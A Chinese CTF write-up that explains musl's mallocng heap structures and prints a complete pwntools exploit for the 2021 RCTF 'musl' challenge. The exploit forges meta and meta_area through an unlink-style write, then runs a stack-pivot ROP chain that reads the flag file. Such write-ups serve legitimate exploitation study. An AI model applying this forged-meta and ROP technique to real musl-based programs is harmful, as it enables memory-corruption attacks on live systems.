1.2.2 musl pwn

几个结构

__malloc_context(与glibc中的main_arena类似)

struct malloc_context {
uint64_t secret;
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;
unsigned mmap_counter;
struct meta *free_meta_head;
struct meta *avail_meta;
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];
size_t usage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

active 与glibc中的bins类似,并且有自己独特的方法来计算chunk的大小)

const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};
#define IB 4
static inline int a_ctz_32(uint32_t x)
{
#ifdef a_clz_32
return 31-a_clz_32(x&-x);
#else
static const char debruijn32[32] = {
0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,
31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14
};
return debruijn32[(x&-x)*0x076be629 >> 27];
#endif
}
static inline int a_clz_32(uint32_t x)
{
x >>= 1;
x |= x >> 1;
x |= x >> 2;
x |= x >> 4;
x |= x >> 8;
x |= x >> 16;
x++;
return 31-a_ctz_32(x);
}
static inline int size_to_class(size_t n)
{
n = (n+IB-1)>>4;
if (n<10) return n;
n++;
int i = (28-a_clz_32(n))*4 + 8;
if (n>size_classes[i+1]) i+=2;
if (n>size_classes[i]) i++;
return i;
}

meta

struct meta {
struct meta *prev, *next; // meta是一个双向链表
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

meta_arena

struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

group

#define UNIT 16
#define IB 4
struct group {
struct meta *meta;
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B
unsigned char storage[];// chunks
};

chunk

struct chunk{
char prev_user_data[];
uint8_t idx; //低5bit为idx第几个chunk
uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!
char data[];
};

漏洞点

static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

源码里有一个与unsafe unlink类似的地方,可以实现任意地址写。

绕过检查

给一个绕过检查,伪造meta的示例

# fake_meta_area
payload+= p64(secret) + p64(0)
# fake_meta
payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
payload+= p64(fake_group) # mem
payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0 maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12) payload+= p64(last_value)+p64(0) add(index, 0x1500, payload)

例题 2021RCTF-musl

本题的漏洞点是,在申请大小为0时,会导致一个堆溢出的出现。利用这个泄露出,libc和secret,即可伪造meta_area及meta

from pwn import*
context(os='linux',arch='amd64',log_level='debug') s = process('./r') def add(index,size,content):
s.sendlineafter(b'>>', b'1')
s.sendlineafter(b'idx?\n', str(index))
s.sendlineafter(b'size?\n', str(size))
s.sendafter(b'Contnet?\n', content) def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx?\n', str(index)) def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx?\n', str(index)) for i in range(15):
add(i, 1, "") delete(0)
add(0, 0, b'a'*0xF+b'\n') show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x298d50 __stdout_used_ptr = libc_base + 0x295450
__malloc_context = libc_base + 0x295ae0
magic_gadget = libc_base + 0x000000000004a5ae #mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
pop_rdi_ret = libc_base + 0x0000000000014b82
pop_rsi_ret = libc_base + 0x000000000001b27a
pop_rdx_ret = libc_base + 0x0000000000009328
pop_rax_ret = libc_base + 0x000000000001b8fd
syscall_ret = libc_base + 0x0000000000023711
ret = libc_base + 0x0000000000000598 success('[+]libc_base=>' + hex(libc_base)) delete(2)
add(2, 0, b'a'*0x10+ p64(__malloc_context)+b'\n')
show(3)
s.recvuntil(b'Content: ') secret = u64(s.recv(8))
success('[+]secret=>' + hex(secret)) chunk_addr = libc_base + 0x290020
fake__stdout_used = chunk_addr + 0x30
fake_group = libc_base + 0x298dd0 payload = p64(libc_base + 0x291010) # fake group->meta
payload+= p64(0x000c0c000000000b)
payload+= p64(libc_base + 0x298df0) + b'\x00'*5 + p8(0) + p16(1)
payload+= b'\n' delete(5)
add(5, 0, payload)
gdb.attach(s)
pause() payload = b'./ctf/flag\x00'
payload = payload.ljust(0x30,b'\x00') payload+= b'\x00'*0x30+p64(chunk_addr + 0x100)
payload+= p64(ret)
payload+= p64(0) + p64(magic_gadget) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]
payload = payload.ljust(0x100,b'\x00') payload+= p64(pop_rdi_ret) + p64(chunk_addr)
payload+= p64(pop_rsi_ret) + p64(0)
payload+= p64(pop_rdx_ret) + p64(0)
payload+= p64(pop_rax_ret) + p64(2)
payload+= p64(syscall_ret)
payload+= p64(pop_rdi_ret) + p64(3)
payload+= p64(pop_rsi_ret) + p64(chunk_addr)
payload+= p64(pop_rdx_ret) + p64(0x100)
payload+= p64(pop_rax_ret) + p64(0)
payload+= p64(syscall_ret)
payload+= p64(pop_rdi_ret) + p64(1)
payload+= p64(pop_rsi_ret) + p64(chunk_addr)
payload+= p64(pop_rdx_ret) + p64(0x100)
payload+= p64(pop_rax_ret) + p64(1)
payload+= p64(syscall_ret)
payload = payload.ljust(0x1000-0x20, b'\x00') # fake_meta_area
payload+= p64(secret) + p64(0)
# fake_meta
payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
payload+= p64(fake_group) # mem
payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0 maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12) payload+= p64(last_value)+p64(0)
payload+= b'\n' add(15, 0x1500, payload)
delete(6) s.sendlineafter(">>",b"4")
#gdb.attach(s) s.interactive()

1.2.2 musl pwn的更多相关文章

  1. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  2. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  3. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  4. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  5. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  6. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  7. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  8. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  9. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

随机推荐

  1. Spring源码学习笔记9——构造器注入及其循环依赖

    Spring源码学习笔记9--构造器注入及其循环依赖 一丶前言 前面我们分析了spring基于字段的和基于set方法注入的原理,但是没有分析第二常用的注入方式(构造器注入)(第一常用字段注入),并且在 ...

  2. Docker容器保姆:在centos7.6上利用docker-compose统一管理容器和服务

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_108 众所周知,一个大型的Docker容器组成的微服务应用中,容器的数量是非常巨大的,如果依赖传统的人工配置方式进行维护,对于开发 ...

  3. HDFS核心原理

    HDFS 读写解析 HDFS 读数据流程 客户端通过 FileSystem 向 NameNode 发起请求下载文件,NameNode 通过查询元数据找到文件所在的 DataNode 地址 挑选一台 D ...

  4. Taurus.MVC 微服务框架 入门开发教程:项目部署:3、微服务应用程序版本升级:全站升级和局部模块升级。

    系列目录: 本系列分为项目集成.项目部署.架构演进三个方向,后续会根据情况调整文章目录. 本系列第一篇:Taurus.MVC V3.0.3 微服务开源框架发布:让.NET 架构在大并发的演进过程更简单 ...

  5. ASP.NET Core自定义中间件的方式

    ASP.NET Core应用本质上,其实就是由若干个中间件构建成的请求处理管道.管道相当于一个故事的框架,而中间件就相当于故事中的某些情节.同一个故事框架采用不同的情节拼凑,最终会体现出不同风格的故事 ...

  6. 第七十篇:Vue组件的使用

    好家伙, 1.vue的组件化开发 1.1.什么是组件? 组件是对UI结构的复用, vue是一个支持组件化开发的前端框架, vue中规定:组件的后缀名是.vue 例如:App.vue文件本质上就是一个v ...

  7. 面试~jvm(JVM内存结构、类加载、双亲委派机制、对象分配,了解垃圾回收)

    一.JVM内存结构 ▷ 谈及内存结构各个部分的数据交互过程:还可以再谈及生命周期.数据共享:是否GC.是否OOM 答:jvm 内存结构包括程序计数器.虚拟机栈.本地方法栈.堆.方法区:它是字节码运行时 ...

  8. HCNP Routing&Switching之IP安全

    前文我们了解了DHCP安全相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/16637627.html:今天我们来聊一聊IP安全相关话题: 技术背景 随着 ...

  9. PostgreSQL 绑定变量窥探

    今天我们要探讨的是 custom执行计划和通用执行计划.这一技术在 Oracle中被称为绑定变量窥视.但 Kingbase中并没有这样的定义,更严格地说,Kingbase叫做custom执行计划和通用 ...

  10. Order Siblings by 排序

    在层次查询中,如果想让"亲兄弟"按规矩进行升序排序就需要使用ORDER SIBLINGS BY 这个特定的排序语句,若要降序输出可以在其后添加DESC关键字. 通过这个实验给大家展 ...